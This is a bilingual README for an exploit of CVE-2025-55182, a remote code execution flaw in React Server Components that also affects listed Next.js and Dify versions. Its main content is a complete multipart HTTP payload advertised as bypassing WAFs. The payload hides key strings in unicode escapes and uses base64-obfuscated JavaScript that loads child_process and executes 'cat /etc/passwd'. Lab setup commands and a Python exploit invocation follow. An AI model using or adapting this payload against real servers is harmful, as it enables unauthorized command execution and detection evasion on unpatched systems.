- 全球首款基于RSC特性能绕过WAF检测的CVE-2025-55182 React Server RCE 漏洞 EXP。
- The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by leveraging RSC-specific features.
- 实现React Server默认环境RCE。
- 新增原创EXP,支持绕过WAF场景的打法。原理:getOutlinedModel中可跨块+逐级引用JSON。
- 提供精简到极致的复现环境。
- 无需
__proto__:then、constructor:constructor即可RCE。 - 不会出现WAF经常拦截的关键词
"then": $1:__proto__:then、"get": $1:constructor:constructor、require('child_process')。 - 一份EXP兼容默认配置的原生React Server、Next.js、Dify环境。
- 极致精简。
- 快速搭建。
| 信息 | 内容 |
|---|---|
| 漏洞名称 | React Server RCE |
| 漏洞编号 | CVE-2025-55182 |
| 风险等级 | 高危 |
| 漏洞类型 | RCE |
| 利用难度 | 低 |
- React 影响版本 == 19.0.0
- React 影响版本 == 19.0.1
- React 影响版本 == 19.1.0
- React 影响版本 == 19.2.0
- react-server-dom-webpack包 影响版本 == 19.0.0、19.0.1、19.1.0、19.1.1、19.2.0
- react-server-dom-parcel包 影响版本 == 19.0.0、19.0.1、19.1.0、19.1.1、19.2.0
- react-server-dom-turbopack包 影响版本 == 19.0.0、19.0.1、19.1.0、19.1.1、19.2.0
- Next.js 影响版本 >= 14.3.0-canary.77
- Next.js 15.0.0 <= 影响版本 < 15.0.5
- Next.js 15.1.0 <= 影响版本 < 15.1.9
- Next.js 15.2.0 <= 影响版本 < 15.2.6
- Next.js 15.3.0 <= 影响版本 < 15.3.6
- Next.js 15.4.0 <= 影响版本 < 15.4.8
- Next.js 15.5.0 <= 影响版本 < 15.5.7
- Next.js 16.0.0 <= 影响版本 < 16.0.7
- Dify 1.1.2 <= 影响版本 < 1.10.1-fix.1
可用于绕过WAF场景 + 默认场景:
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Length: 1445
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="1"
{
"\u0074\u0068\u0065\u006e": "$2:et",
"status": "$2:es",
"reason": "",
"value": "$2:ev",
"_response": "$2:er"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="2"
{
"et": "$3",
"es": "$4",
"ev": "{\"\u0074\u0068\u0065\u006e\":\"\u0024\u0042\"}",
"er": {
"_prefix": "$2:ep",
"_formData": "$2:ef"
},
"ep": "$5",
"ef": {
"get": "$2:eg"
},
"eg": "$6"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="3"
"$0:\u0074\u0068\u0065\u006e"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="4"
"\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="5"
"x='Y2F0IC9ldGMvcGFzc3dk';d=u=>Buffer.from(u,'bas'+'e64')+'';y=global[d('cHJvY2Vzcw==')][d('bWFpbk1vZHVsZQ==')][d('cmVxdWlyZQ==')](d('Y2hpbGRfcHJvY2Vzcw=='))[d('ZXhlY1N5bmM=')](d(x))+'';throw Object.assign(new Error(y),{digest:y});"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="6"
"$0:toString:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad--
- 服务端环境:
react-server-dom-webpack 19.2.0
- 服务端下载并安装 react-server-dom-webpack 所需依赖:
git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
cd CVE-2025-55182-React-RCE
npm install
npm run dev -- --hostname 127.0.0.1 --port 3000
成功搭建服务:http://127.0.0.1:3000/
- 客户端使用EXP
python3 -m venv .venv
. ./.venv/bin/activate
pip3 install requests
python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"
- 服务端环境:
Next.js 16.0.6
其实也对应react-server-dom-webpack 19.2.0
- 服务端下载并安装 Next.js 所需依赖:
git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
cd CVE-2025-55182-React-RCE
npx create-next-app@16.0.6 nextapp --yes --js --no-tailwind --no-eslint --empty
cd nextapp
npm run dev -- --hostname 127.0.0.1 --port 3000
成功搭建服务:http://127.0.0.1:3000/
- 客户端使用EXP(同上)
python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"